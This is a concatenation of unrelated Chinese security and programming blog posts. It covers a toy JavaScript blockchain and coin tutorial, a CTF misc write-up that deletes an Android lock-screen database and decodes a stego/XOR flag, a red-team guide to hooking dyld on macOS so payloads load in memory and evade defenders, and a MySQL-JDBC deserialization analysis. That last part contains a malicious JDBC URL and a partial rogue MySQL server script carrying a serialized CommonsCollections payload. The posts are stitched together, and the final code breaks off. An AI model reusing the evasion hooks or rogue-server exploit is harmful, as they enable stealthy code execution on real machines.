console.log(BlockChain)
接下来我们用代码实现一下简易的POW:
const sha256 = require("crypto-js/sha256")
function proofOfwork(){
let seed = "y1zh3e7"
let x = 1 // x为自增变量
while (true){
if(sha256(seed + x).toString().substring(0,4) != "0000") // 定义难度,比如我现在要求通过不断自增x去计算seed+x的哈希值
{ // 当哈希值前四位都为0000时则代表成功 如果想提高难度我们就可以让前x位为xxxx
x += 1
}else{
console.log(sha256(seed + x).toString())
break
}
}
console.log(x) // 输出计算多少次后成功
}
proofOfwork()
实现防篡改机制:
/***********************************************
验证区块链防篡改需要检测两项:
1.重新计算区块的hash值,判断与区块中储存的hash是否相同
2.判断当前区块的previousHash是否和上一区块的hash相同
***********************************************/
function validateBlock(validBlockchain){
if (validBlockchain.chain.length == 1)
{
if(validBlockchain.chain[0].myHash != validBlockchain.calcHash())
{
console.log("数据篡改")
return false
}
}else {
for (let i=1; i<=validBlockchain.chain.length-1; i++)
{
if(validBlockchain.chain[i].myHash != validBlockchain.chain[i].calcHash())
{
console.log("数据篡改")
return false
}
if (validBlockchain.chain[i].previousHash != validBlockchain.chain[i-1].myHash)
{
console.log("前后区块链断裂")
return false
}
}
}
console.log("数据无篡改且区块链结构完整")
return true
}
将完整的POW整合到区块链当中并实现挖矿功能,最终实现的完整区块链:
const sha256 = require('crypto-js/sha256')
Date = new Date()
class block{
constructor(data,time,previousHash) {
this.data = data
this.time = time
this.nonce = 1
this.previousHash = previousHash
this.myHash = this.calcHash()
}
calcHash() {
return sha256(this.data + this.time + this.previousHash + this.nonce).toString()
}
/** **/
getAnswer(difficulty){
let answer = ""
for(let i=0; i<difficulty; i++)
{
answer += "0"
}
console.log(answer)
return answer
}
/** 引入挖矿功能 **/
mine(difficulty){
let answer = this.getAnswer(difficulty)
let Hash = this.calcHash()
while(true){
if (Hash.substring(0,difficulty) != answer)
{
this.nonce++
Hash = this.calcHash()
}else{
break
}
}
console.log("mine successful!")
console.log(this.nonce)
return Hash
}
}
class blockCahin{
constructor()
{
this.chain = [this.createBlockchain()]
this.difficulty = 5
}
createBlockchain()
{
return new block("Genesisblock",Date.toLocaleString(),0o0000000)
}
getLatestblock()
{
return this.chain[this.chain.length - 1]
}
addBlock(newBlock)
{
newBlock.previousHash = this.getLatestblock().myHash
newBlock.myHash = newBlock.mine(this.difficulty)
this.chain.push(newBlock)
}
}
/***********************************************
验证区块链防篡改需要检测两项:
1.重新计算区块的hash值,判断与区块中储存的hash是否相同
2.判断当前区块的previousHash是否和上一区块的hash相同
***********************************************/
function validateBlock(validBlockchain){
if (validBlockchain.chain.length == 1)
{
if(validBlockchain.chain[0].myHash != validBlockchain.calcHash())
{
console.log("数据篡改")
return false
}
}else {
for (let i=1; i<=validBlockchain.chain.length-1; i++)
{
if(validBlockchain.chain[i].myHash != validBlockchain.chain[i].calcHash())
{
console.log("数据篡改")
return false
}
if (validBlockchain.chain[i].previousHash != validBlockchain.chain[i-1].myHash)
{
console.log("前后区块链断裂")
return false
}
}
}
console.log("数据无篡改且区块链结构完整")
return true
}
BlockChain = new blockCahin()
BlockChain.addBlock(new block("this is a test",Date.toLocaleDateString(),"anything"))
// console.log(BlockChain)
// BlockChain.chain[1].data = "数据篡改"
// BlockChain.chain[0].myHash = "0012343566688"
// console.log(validateBlock(BlockChain))
数字货币的简单实现
比特币
我们前面说到区块链是用来记录信息的,如果它记录的是转账记录那么它就成了一个账本。
一笔转账信息需要以下四个信息:
付款人 收款人 转账金额 转账时间
我们前面提到了POW,比特币会通过POW将产生一个区块的时间控制在十分钟左右,比特币的工作机制基本如下:
整个区块链是一个网状的网络结构,其中有一个中心,每十分钟发布一个问题(类似于我们之间生成的目标Hash),当问题发布后,该网状网络中的所有结点会来解这个问题(挖矿,爆破目标Hash值),此时就是各结点间的算力比拼,当有一个结点解出该问题后则代表挖矿成功,一个新区块被创造出来,这时该新区块内会自动生成一笔转账记录,其中的收款人就是该区块的挖出者,这时区块链就会自动把奖励发放到收款人的账户上,并且该区块会在整个区块链网络中进行广播,区块链中的每一个结点会对该区块进行验证其合法性,经过验证后该新区块就会被加到区块链上。每四年比特币的奖励会减半一次,最后的比特币总量大约是在2100万个左右。
那么这里会有一个问题,如果过了几年之后,比特币越来越少,每次挖矿后几乎得不到比特币了,那还会有人来挖矿吗?
其实比特币只是比特币区块链中的一个额外奖励机制,整个区块链货币依赖的是每一笔转账记录的手续费,当一个新区块被挖出时那么这个新区块的转账信息(我们刚才说到的比特币奖励机制)就会记录在这个新区块上(以转账的方式发放奖励货币),后续也会记录其他的转账信息,并且会产生手续费,手续费归记录该笔转账信息的区块的挖出者所有。
说到动态调整难度,比特币是怎么调整的呢?
比特币会在每2016个区块诞生后验证一下难度,如果说本来预期中mine这2016个区块所需要的时间是两个星期,而实际只用了一个星期,那么此时比特币区块链就会调整难度,使其达到预期,基本上比特币区块链会每两个星期调整一次难度。
创建自己的数字货币
首先我们要新建一个Transaction类来进行转账记录:
class Transaction{
constructor(from, to , amount) {
this.from = from
this.to = to
this.amount = amount
}
}
更改区块中data的含义,此时要记录的是转账信息transaction,并且由于transaction是一个对象,因此在参与计算哈希时要转为字符串(这里将时间改为了Date.now,这样在区块创造时就记录了这笔转账记录的时间):
class Block{
constructor(transaction,previousHash) {
this.transactions = transaction
this.time = Date.now()
this.nonce = 1
this.previousHash = previousHash
this.myHash = this.calcHash()
}
// 计算hash时要将data转换为字符串类型,此时的data是一个transaction
calcHash() {
return sha256(JSON.stringify(this.transactions) + this.time + this.previousHash + this.nonce).toString()
}
上面说到奖励货币的发放是通过转账的方式实现的,所以我们在链上实现逻辑:
class blockChain{
constructor()
{
this.chain = [this.createBlockchain()]
this.difficulty = 5
this.transactionPool = [] //挖矿成功的转账信息
this.mineReward = 50 //每次挖矿成功的奖励货币数
}
mineTransaction(minerAddress)
{
const minerRewardTransaction = new Transaction('', minerAddress, this.mineReward)
this.transactionPool.push(minerRewardTransaction)
}
之前我们是在外部传入一个区块,在整个货币系统的实现后区块应该是在挖矿时在区块链内部产生的,修改代码:
//将Transaction添加到Transaction Pool中
addTransaction(Transaction)
{
this.transactionPool.push(Transaction)
}
mineTransaction(minerAddress)
{
const minerRewardTransaction = new Transaction('', minerAddress, this.mineReward)
this.transactionPool.push(minerRewardTransaction)
//挖矿
/********************************************************
* 这里新区块记录了整个区块链的转账信息,但在实际情况中区块的存储
* 容量是有限制的,所以在挖矿时记录的转账记录会选择手续费最高的transaction
* 我们这里先不考虑这种情况
*******************************************************/
const newBlock = new Block(this.transactionPool,this.getLatestBlock().myHash)
newBlock.mine()
//添加到区块链,并清空Transaction Pool
this.chain.push(newBlock)
this.transactionPool = []
}
整个写好的数字代币:
const sha256 = require('crypto-js/sha256')
class Transaction{
constructor(from, to , amount) {
this.from = from
this.to = to
this.amount = amount
}
}
class Block{
constructor(transaction,previousHash) {
this.transactions = transaction
this.time = Date.now()
this.nonce = 1
this.previousHash = previousHash
this.myHash = this.calcHash()
}
// 计算hash时要将data转换为字符串类型,此时的data是一个transaction
calcHash() {
return sha256(JSON.stringify(this.transactions) + this.time + this.previousHash + this.nonce).toString()
}
/** 获取相应难度hash **/
getAnswer(difficulty){
let answer = ""
for(let i=0; i<difficulty; i++)
{
answer += "0"
}
return answer
}
/** 引入挖矿功能 **/
mine(difficulty){
let answer = this.getAnswer(difficulty)
let Hash = this.calcHash()
while(true){
if (Hash.substring(0,difficulty) != answer)
{
this.nonce++
Hash = this.calcHash()
}else{
break
}
}
console.log("mine successful!\n")
console.log("计算"+this.nonce+"次后挖矿成功,answer为"+Hash)
return Hash
}
}
class blockChain{
constructor()
{
this.chain = [this.createBlockchain()]
this.difficulty = 4
this.transactionPool = [] //挖矿成功的转账信息
this.mineReward = 50 //每次挖矿成功的奖励货币数
}
createBlockchain()
{
return new Block("Genesisblock",null)
}
getLatestBlock()
{
return this.chain[this.chain.length - 1]
}
//将Transaction添加到Transaction Pool中
addTransaction(Transaction)
{
this.transactionPool.push(Transaction)
}
mineTransaction(minerAddress)
{
const minerRewardTransaction = new Transaction('', minerAddress, this.mineReward)
this.transactionPool.push(minerRewardTransaction)
//挖矿
/********************************************************
* 这里新区块记录了整个区块链的转账信息,但在实际情况中区块的存储
* 容量是有限制的,所以在挖矿时记录的转账记录会选择手续费最高的transaction
* 我们这里先不考虑这种情况
*******************************************************/
const newBlock = new Block(this.transactionPool,this.getLatestBlock().myHash)
newBlock.mine(this.difficulty)
//添加到区块链,并清空Transaction Pool
this.chain.push(newBlock)
this.transactionPool = []
}
}
/***********************************************
验证区块链防篡改需要检测两项:
1.重新计算区块的hash值,判断与区块中储存的hash是否相同
2.判断当前区块的previousHash是否和上一区块的hash相同
***********************************************/
function validateBlock(validBlockchain){
if (validBlockchain.chain.length == 1)
{
if(validBlockchain.chain[0].myHash != validBlockchain.calcHash())
{
console.log("数据篡改")
return false
}
}else {
for (let i=1; i<=validBlockchain.chain.length-1; i++)
{
if(validBlockchain.chain[i].myHash != validBlockchain.chain[i].calcHash())
{
console.log("数据篡改")
return false
}
if (validBlockchain.chain[i].previousHash != validBlockchain.chain[i-1].myHash)
{
console.log("前后区块链断裂")
return false
}
}
}
console.log("数据无篡改且区块链结构完整")
return true
}
Y1Coin = new blockChain()
const Transaction1 = new Transaction('add1', 'add2', 20)
const Transaction2 = new Transaction('add1', 'add2', 5)
Y1Coin.addTransaction(Transaction1)
Y1Coin.addTransaction(Transaction2)
Y1Coin.mineTransaction("add3")
console.log(Y1Coin)
console.log(Y1Coin.chain[1].transactions)
[西湖论剑2022]Misc-机你太美
解题过程:
修改文件后缀后,7z解压后,夜神模拟器导入vmdk
删除pin值
参考文章:https://www.cnblogs.com/Zev_Fung/p/14192545.html
删除/data/system/locksettings.db即可
rm /data/system/locksettings.db
重启进入,发现安装有QQ和Skred
打开Skred发现聊天记录
发现聊天记录传输了⽂件,根据skred的存储文件的位置,可以直接定位
/data/data/mobi.skred.app/files/conversations
使⽤adb pull来提取⽂件
adb pull /data/data/mobi.skred.app/files/conversations/9f817126-eabd-4c5c-9b47-bebe04545ba0/50.zip D:\桌面\CTF\西湖论剑2023\jntm-update\dasctf
其他文件类似操作提取即可
解压压缩包发现存在解压密码,可能存在两张图片里,图片可能采取了隐写之类的隐藏信息的方式
使用stegslove打开45.png,在Alpha plane处发现信息,写脚本提取其二进制信息
from PIL import Image
img = Image.open("45.png")
for i in range(img.width):
for j in range(img.height):
pixl = img.getpixel((m,n))
if(pixl[3] == 255):
print(1,end='')
else:
print(0,end='')
print("_______________")
#0110010100110000001100010011010100110100001101000110000100111001001100110011001100110011011001010110011000110110001100100110000100110011011000010110000100110010001101110011001100110101001101110110010101100010001101010011001001100101011000010011100001100001
进行编码转换一下
e01544a9333ef62a3aa27357eb52ea8a
得到解压密码,解压50.zip,获得一个flag文件,记事本打开为一串乱码,猜测可能是啥加密,信息应该在75.jpg上面
根据赛方放出的hint3:在线exif
试着查看一下75.jpg的exif信息,这里我使用的是https://exif.tuchong.com/
EXIF信息摘要
模式 曝光模式:Aperture-priority AE, 测光模式:Multi-segment, 曝光补偿:0
曝光 光圈:4.0, 快门:1/250秒, ISO200
焦距 50.0 mm (35 mm equivalent: 80.9 mm), 视角:25.1 deg
色彩 白平衡:Auto, 色彩空间:sRGB
File
FileType JPEG
FileTypeExtension jpg
MIMEType image/jpeg
ExifByteOrder Little-endian (Intel, II)
ImageWidth 3888
ImageHeight 2592
EncodingProcess Baseline DCT, Huffman coding
BitsPerSample 8
ColorComponents 3
YCbCrSubSampling YCbCr4:2:2 (2 1)
IFD0
方向 Horizontal (normal)
X分辨率 72
Y分辨率 72
分辨率单位 inches
YCbCr定位 Co-sited
ExifIFD
曝光时间 1/250
光圈值 4.0
曝光程序 Aperture-priority AE
ISO 200
Exif版本 0221
ComponentsConfiguration Y, Cb, Cr, -
快门速度值 1/250
光圈值 4.0
曝光补偿 0
测光模式 Multi-segment
闪光灯 Off, Did not fire
焦距 50.0 mm
用户注释 XOR DASCTF2022
SubSecTime 39
SubSecTime原始 39
SubSecTime数码化 39
Flashpix版本 0100
色彩空间 sRGB
Exif图像宽度 3888
Exif图像高度 2592
焦平面X轴分辨率 4438.356164
焦平面Y轴分辨率 4445.969125
焦平面分辨率单位 inches
CustomRendered Normal
曝光模式 Auto
白平衡 Auto
场景Capture类型 Standard
InteropIFD
Interop索引 R98 - DCF basic file (sRGB)
Interop版本 0100
IFD1
压缩 JPEG (old-style)
X分辨率 72
Y分辨率 72
分辨率单位 inches
缩略图偏移 8412
缩略图长度 19629
ThumbnailImage (Binary data 19629 bytes, use -b option to extract)
Composite
光圈 4.0
图像尺寸 3888x2592
Megapixels 10.1
35mm等效因子 1.6
快门速度 1/250
(最小)模糊圈 0.019 mm
视角 25.1 deg
35mm等效焦距 50.0 mm (35 mm equivalent: 80.9 mm)
超焦距 33.67 m
亮度值 11.0
可以看到用户注释为XOR DASCTF2022
对flag文件进行XOR
获得flag:DASCTF{fe089fecf73daa9dcba9bc385df54605}
IOS逆向--恢复Dyld的内存加载方式
之前我们一直在使用由dyld及其NS Create Object File Image From Memory / NS Link Module API方法所提供的Mach-O捆绑包的内存加载方式。虽然这些方法我们今天仍然还在使用,但是这个工具较以往有一个很大的区别......现在很多模块都被持久化到了硬盘上。
@roguesys 在 2022 年 2 月发布公告称,dyld 的代码已经被更新,传递给 NSLinkModule 的任何模块都将会被写入到一个临时的位置中。
作为一个红队队员,这对于我们的渗透工作并没有好处。毕竟,NSLinkModule一个非常有用的api函数,这个函数可以使得我们的有效载荷不被蓝队轻易的发现。
因此,在这篇文章中,我们来仔细看看dyld的变化,并看看我们能做些什么来恢复这一功能,让我们的工具在内存中多保存一段时间,防止被蓝队过早的发现。
NS Link Module有何与众不同
由于dyld是开源的,我们可以深入研究一下经常使用的NSLinkModule方法的工作原理。
该函数的签名为:
NSModule APIs::NSLinkModule(NSObjectFileImage ofi, const char* moduleName, uint32_t options) { ... }
该函数的第一个参数是ofi,它是用NS Create Object File Image From Memory创建的,它指向了存放Mach-O包的内存。然后我们还有moduleName参数和options参数,前者只是用于记录语句,后者一般是被忽略不用的。
通过查看代码发现,最新版本的NS Link Module,会将osi所指向的内存写入磁盘。
if ( ofi->memSource != nullptr ) {
...
char tempFileName[PATH_MAX];
const char* tmpDir = this->libSystemHelpers->getenv("TMPDIR");
if ( (tmpDir != nullptr) && (strlen(tmpDir) > 2) ) {
strlcpy(tempFileName, tmpDir, PATH_MAX);
if ( tmpDir[strlen(tmpDir) - 1] != '/' )
strlcat(tempFileName, "/", PATH_MAX);
}
else
strlcpy(tempFileName, "/tmp/", PATH_MAX);
strlcat(tempFileName, "NSCreateObjectFileImageFromMemory-XXXXXXXX", PATH_MAX);
int fd = this->libSystemHelpers->mkstemp(tempFileName);
if ( fd != -1 ) {
ssize_t writtenSize = ::pwrite(fd, ofi->memSource, ofi->memLength, 0);
}
...
}
通过分析可以发现,代码并不是真正的发生了 "新 "的变化。这段代码一直存在于dyld3中,只不过是现在macOS也决定使用这段代码路径。所以我们知道内存会被写入磁盘,并且路径会被传递给dlopen_from。
...
ofi->handle = dlopen_from(ofi->path, openMode, callerAddress);
...
因此,从本质上讲,这也就使得NS Link Module成为了dlopen的一个封装器。
那我们能否恢复dyld之前的内存加载特性呢?
我们知道磁盘 I/O 是被用来持久化和读取我们的代码的......那么,如果我们在调用之前拦截它们,会发生什么呢?
使用dyld进行hook
为了拦截 I/O 调用,我们首先需要了解如何对dyld进行hook。
我们研究看看dyld是如何处理mmap调用的。启动 Hopper 并加载 /usr/lib/dyld, 显示mmap 是由 dyld 使用 svc 调用的。
知道了这一点,如果我们找到内存中存放这段代码的位置,我们就应该能够覆盖服务调用并将其重定向到我们控制的地方。但我们该用什么来覆盖它呢?用下面的这段代码就可以。
ldr x8, _value
br x8
_value: .ascii "\x41\x42\x43\x44\x45\x46\x47\x48" ; Update to our br location
在我们进行操作之前,首先我们找到进程地址空间中dyld的基址。这是通过调用task_info完成的,我们可以传入TASK_DYLD_INFO来检索dyld的基址信息。
void *getDyldBase(void) {
struct task_dyld_info dyld_info;
mach_vm_address_t image_infos;
struct dyld_all_image_infos *infos;
mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT;
kern_return_t ret;
ret = task_info(mach_task_self_,
TASK_DYLD_INFO,
(task_info_t)&dyld_info,
&count);
if (ret != KERN_SUCCESS) {
return NULL;
}
image_infos = dyld_info.all_image_info_addr;
infos = (struct dyld_all_image_infos *)image_infos;
return infos->dyldImageLoadAddress;
}
只要我们有了dyld的基址,我们就可以为mmap服务的调用查找签名。
bool searchAndPatch(char *base, char *signature, int length, void *target) {
char *patchAddr = NULL;
kern_return_t kret;
for(int i=0; i < 0x100000; i++) {
if (base[i] == signature[0] && memcmp(base+i, signature, length) == 0) {
patchAddr = base + i;
break;
}
}
...
当我们找到一个匹配的签名时,我们可以在我们的ARM64的Stub中打补丁。由于我们要处理的是内存的 "Read-Exec"页,我们需要用以下方法来更新内存保护。
kret = vm_protect(mach_task_self(), (vm_address_t)patchAddr, sizeof(patch), false, PROT_READ | PROT_WRITE | VM_PROT_COPY);
if (kret != KERN_SUCCESS) {
return FALSE;
}
注意这里的VM_PROT, 这个是必须要设定的,因为该内存页在其最大内存保护中没有设置写权限。
设置了写权限后,我们可以用我们的补丁覆盖内存,然后将保护重新设定为Read-Exec。
// Copy our path
memcpy(patchAddr, patch, sizeof(patch));
// Set the br address for our hook call
*(void **)((char*)patchAddr + 16) = target;
// Return exec permission
kret = vm_protect(mach_task_self(), (vm_address_t)patchAddr, sizeof(patch), false, PROT_READ | PROT_EXEC);
if (kret != KERN_SUCCESS) {
return FALSE;
}
现在我们需要思考一下,当我们在试图修改可执行的内存页时,在M1 macs上会发生什么。
由于macOS要确保每一页可执行内存都有签名,这也就意味着我们需要一个com.apple.security.cs.allow-unsigned-executable-memory的权限(com.apple.security.cs.disable-executable-page-protection也适用)来运行我们的代码。
那么,既然如此,我们该如何处理我们的hook程序呢?
API模拟调用
有了所有组件的映射,我们现在就可以开始模拟API的调用。根据dyld的代码,我们需要对mmap、pread、fcntl的内容进行处理。
如果我们这样做是正确的,我们可以在内存指向空白Mach-O文件的情况下对NSLinkModule进行调用,而该文件又将会被写入磁盘。然后当dyld正在从磁盘上读入文件时,我们就可以用内存中的副本动态地交换内容。
首先研究mmap。我们首先检查fd是否指向一个包含NSCreateObjectFileImageFromMemory的文件名,这是dyld写入磁盘的临时文件。
如果是这样的话,我们就不需要从磁盘上映射内存了,只要简单地分配一个新的内存区域,然后复制到我们构造的Mach-O包上。
#define FILENAME_SEARCH "NSCreateObjectFileImageFromMemory-"
const void* hookedMmap(void *addr, size_t len, int prot, int flags, int fd, off_t offset) {
char *alloc;
char filePath[PATH_MAX];
int newFlags;
memset(filePath, 0, sizeof(filePath));
// Check if the file is our "in-memory" file
if (fcntl(fd, F_GETPATH, filePath) != -1) {
if (strstr(filePath, FILENAME_SEARCH) > 0) {
newFlags = MAP_PRIVATE | MAP_ANONYMOUS;
if (addr != 0) {
newFlags |= MAP_FIXED;
}
alloc = mmap(addr, len, PROT_READ | PROT_WRITE, newFlags, 0, 0);
memcpy(alloc, memoryLoadedFile+offset, len);
vm_protect(mach_task_self(), (vm_address_t)alloc, len, false, prot);
return alloc;
}
}
// If for another file, we pass through
return mmap(addr, len, prot, flags, fd, offset);
}
接下来是pread参数,它会被dyld在加载时用来多次验证Mach-O的UUID。
ssize_t hookedPread(int fd, void *buf, size_t nbyte, int offset) { char filePath[PATH_MAX]; memset(filePath, 0, sizeof(filePath)); // Check if the file is our "in-memory" file if (fcntl(fd, F_GETPATH, filePath) != -1) { if (strstr(filePath, FILENAME_SEARCH) > 0) { memcpy(buf, memoryLoadedFile+offset
最后我们处理fcntl。它会在很多地方被调用,可以在任何可能会失败的mmap调用之前验证编码的要求。
由于我们已经完成了hook,我们可以使dyld正常运行来绕过这些检查。
int hookedFcntl(int fildes, int cmd, void* param) { char filePath[PATH_MAX]; memset(filePath, 0, sizeof(filePath)); // Check if the file is our "in-memory" file if (fcntl(fildes, F_GETPATH, filePath) != -1) { if (strstr(filePath, FILENAME_SEARCH) > 0) { if (cmd == F_ADDFILESIGS_RETURN) { fsignatures
有了以上这些,然后我们可以把这一切组合起来。
int main(int argc, const char * argv[], const char * argv2[], const char * argv3[]) {
@autoreleasepool {
char *dyldBase;
int fd;
int size;
void (*function)(void);
NSObjectFileImage fileImage;
// Read in our dyld we want to memory load... obviously swap this in prod with memory, otherwise we've just recreated dlopen :/
size = readFile("/tmp/loadme", &memoryLoadedFile);
dyldBase = getDyldBase();
searchAndPatch(dyldBase, mmapSig, sizeof(mmapSig), hookedMmap);
searchAndPatch(dyldBase, preadSig, sizeof(preadSig), hookedPread);
searchAndPatch(dyldBase, fcntlSig, sizeof(fcntlSig), hookedFcntl);
// Set up blank content, same size as our Mach-O
char *fakeImage = (char *)malloc(size);
memset(fakeImage, 0x41, size);
// Small hack to get around NSCreateObjectFileImageFromMemory validating our fake image
fileImage = (NSObjectFileImage)malloc(1024);
*(void **)(((char*)fileImage+0x8)) = fakeImage;
*(void **)(((char*)fileImage+0x10)) = size;
void *module = NSLinkModule(fileImage, "test", NSLINKMODULE_OPTION_PRIVATE);
void *symbol = NSLookupSymbolInModule(module, "runme");
function = NSAddressOfSymbol(symbol);
function();
}
}
当我们执行时,可以看到在硬盘上就会创建我们的虚假文件。
但通过在运行时的交换内容来看,我们发现我们的内存模块加载完全正常。
其他
所以,最后一个阶段让我感到很困惑......我们使用了NSLinkModule,它生成了一个临时文件,并且用垃圾字符对它进行了填充。如果我们忽略这一点,而只是使用操作系统中的任意一个库来调用dlopen呢?这样应该就可以避免我们向磁盘中写入任何文件。
事实证明,这个想法是正确的。比如:
void *a = dlopen("/usr/lib/libffi-trampolines.dylib", RTLD_NOW);
function = dlsym(a, "runme");
function();
而不是只是搜索NSCreateObjectFileImageFromMemory,我们只是在搜索任何加载libffi-trampolines.dylib的引用,并通过我们的代码进行了替换,我们得到了同样的结果。
这里有一些注意事项。首先,我们需要确保库比我们自己要加载的模块大,否则当涉及到pread和mmap时,系统最终会截断我们的Mach-O。
MySQL-JDBC反序列化分析
0x01 前言
听师傅们说这条链子用的比较广泛,所以最近学一学,本来是想配合着 tabby 或是 codeql 一起看的,但是 tabby 的环境搭建一直有问题,耽误了很久时间,所以就直接看了。
0x02 JDBC 的基础
本来不太想写这点基础的,但想了想觉得还是要补一点。
JDBC 对数据库的操作一般有以下步骤:
1、导入包:要求您包含包含数据库编程所需的 JDBC 类的软件包。通常,使用 import java.sql.* 就足够了。
2、注册 JDBC 驱动程序:要求您初始化驱动程序,以便您可以打开与数据库的通信通道。
3、建立连接:需要使用 * DriverManager.getConnection ()* 方法来创建一个 Connection 对象,该对象表示与数据库服务器的物理连接。要创建新的数据库,在准备数据库 URL 时,无需提供任何数据库名称,如下面的示例所述。
4、执行查询:需要使用 Statement 类型的对象来构建 SQL 语句并将其提交到数据库。
5、清理:需要显式关闭所有数据库资源,而不是依赖 JVM 的垃圾回收。
例如创建一个数据库
// 步骤 1. 导入所需的软件包
import java.sql.*;
public class JDBCExample {
// JDBC 驱动程序名称和数据库 URL
static final String JDBC_DRIVER = "com.mysql.jdbc.Driver";
static final String DB_URL = "jdbc:mysql://localhost/";
// 数据库凭证
static final String USER = "username";
static final String PASS = "password";
public static void main(String[] args) {
Connection conn = null;
Statement stmt = null;
try{
// 步骤 2:注册 JDBC 驱动程序
Class.forName("com.mysql.jdbc.Driver");
// 步骤 3:建立连接
System.out.println("Connecting to database...");
conn = DriverManager.getConnection(DB_URL, USER, PASS);
// 步骤 4:执行查询
System.out.println("Creating database...");
stmt = conn.createStatement();
String sql = "CREATE DATABASE STUDENTS";
stmt.executeUpdate(sql);
System.out.println("Database created successfully...");
}catch(SQLException se){
// 处理 JDBC 错误
se.printStackTrace();
}catch(Exception e){
// 处理 Class.forName 的错误
e.printStackTrace();
}finally{
// 用于关闭资源
try{
if(stmt!=null)
stmt.close();
}catch(SQLException se2){
}
try{
if(conn!=null)
conn.close();
}catch(SQLException se){
se.printStackTrace();
}
}// 结束 try
System.out.println("Goodbye!");
}// 结束 main
}// 结束 JDBCExample
这一个 MySQL-JDBC 的漏洞简单来说就是 MySQL 对服务器的请求过程利用
正常的命令执行得到结果后就结束了,但是如果响应的结果是一个恶意的 poc 并且在后续过程中进行了反序列化,那么就可以用来执行任意命令了
0x03 漏洞分析
漏洞原理
如果攻击者能够控制 JDBC 连接设置项,那么就可以通过设置其指向恶意 MySQL 服务器进行 ObjectInputStream.readObject() 的反序列化攻击从而 RCE。
具体点说,就是通过 JDBC 连接 MySQL 服务端时,会有几个内置的 SQL 查询语句要执行,其中两个查询的结果集在 MySQL 客户端被处理时会调用 ObjectInputStream.readObject() 进行反序列化操作。如果攻击者搭建恶意 MySQL 服务器来控制这两个查询的结果集,并且攻击者可以控制 JDBC 连接设置项,那么就能触发 MySQL JDBC 客户端反序列化漏洞。
可被利用的两条查询语句:
SHOW SESSION STATUS
SHOW COLLATION
链子
pom.xml
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.13</version>
</dependency>
CC 链作为命令执行的部分,也就是说需要我们找一个 JDBC 合理的入口类,并且这个入口类需要在 JDBC 连接过程中被自动执行,最终是找到了这样一个类 com.mysql.cj.jdbc.result.ResultSetImpl,它的 getObject() 方法调用了 readObject() 方法
JDBC 通过 MySQL 数据库查询数据会返回一个结果集,将查询到的结果返回给程序,并将结果封装在 ResultSetImpl 这个类中。
所以这个类不满足用户可控输入这一点,所以我们应该要去找谁调用了 ResultSetImpl#getObject()
根据网上的链子是 ResultSetUtil 类调用了 ResultSetImpl#getObject(),并且能够继续向上调用(如果 tabby 或者其他工具搞好了应该会用那些工具分析)
ResultSetUtil 这个类是用来处理一些测试实例的结果,或者是 profiler 的结果。简而言之还是用来做数据处理的类,继续往上看谁调用了它。
最终是 com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues 方法调用了 ResultSetUtil#resultSetToMap
44ServerStatusDiffInterceptor 是一个拦截器,在 JDBC URL 中设定属性 queryInterceptors 为 ServerStatusDiffInterceptor 时,执行查询语句会调用拦截器的 preProcess 和 postProcess 方法,这是一个自动执行的过程,我们可以把它作为利用链头。
看一下 populateMapWithSessionStatusValues 方法的代码
先建立了 JDBC 的连接,并创建查询,查询语句是 SHOW SESSION STATUS,接着调用 ResultSetUtil.resultSetToMap,完成查询并封装查询结果。
漏洞复现
之前看 Y4tacker 师傅的文章时,发现有提到是直接用 python 脚本打,里面有很多数据,但是这个 ”打“ 肯定不是空穴来风的,所以需要再明确一下攻击思路。
环境搭建可能会踩坑,若有师傅踩坑了可以滴我一下
我们需要先伪造数据包,并用 wireshark 抓包,观测一下流量,编写 Test 类内容如下
import java.sql.*;
public class Test {
public static void main(String[] args) throws Exception {
Class.forName("com.mysql.jdbc.Driver");
String jdbc_url = "jdbc:mysql://192.168.116.129:3306/test?characterEncoding=UTF-8&serverTimezone=Asia/Shanghai" +
"&autoDeserialize=true" +
"&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";
Connection con = DriverManager.getConnection(jdbc_url, "root", "123123");
}
}
通过 tcp.port == 3306 && mysql 来过滤协议
我们需要用 python 脚本伪造的 MySQL 服务端需要伪造的是 Greeting 数据包 Response OK 、Response Response OK 以及 JDBC 执行查询语句 SHOW SESSION STATUS 的返回包等,我们逐个来分析。
首先是 greeting 数据包
这里发送 greeting 数据包之后需要发送 Login 请求,Login 请求里面包含了 user 和 db 以及 password,在这之后才会返回 Response OK 的数据包
Login 的请求包在发送完 greeting 包之后会自动发送,所以我们只需要发送一段 greeting 数据包,返回一段 Response OK 数据包即可,Response OK 包如下
继续往下,需要编写四个 Request Query 包的 Response 包后,才是 SHOW SESSION STATUS
响应包的编写需要我们将 MySQL Protocol 的部分全部复制进来
如此,构造出最后的 fake MySQL 服务端
import socket
import binascii
import os
greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"
def receive_data(conn):
data = conn.recv(1024)
print("[*] Receiveing the package : {}".format(data))
return str(data).lower()
def send_data(conn,data):
print("[*] Sending the package : {}".format(data))
conn.send(binascii.a2b_hex(data))
def get_payload_content():
#file文件的内容使用ysoserial生成的 使用规则 java -jar ysoserial [common7那个] "calc" > a
file= r'a'
if os.path.isfile(file):
with open(file, 'rb') as f:
payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
print("open successs")
else:
print("open false")
#calc
payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e6
return payload_content
# 主要逻辑
def run():
while 1:
conn, addr = sk.accept()
print("Connection come from {}:{}".format(addr[0],addr[1]))
# 1.先发送第一个 问候报文
send_data(conn,greeting_data)
while True:
# 登录认证过程模拟 1.客户端发送request login报文 2.服务端响应response_ok
receive_data(conn)
send_data(conn,response_ok_data)
#其他过程
data=receive_data(conn)
#查询一些配置信息,其中会发送自己的 版本号
if "session.auto_increment_increment" in data:
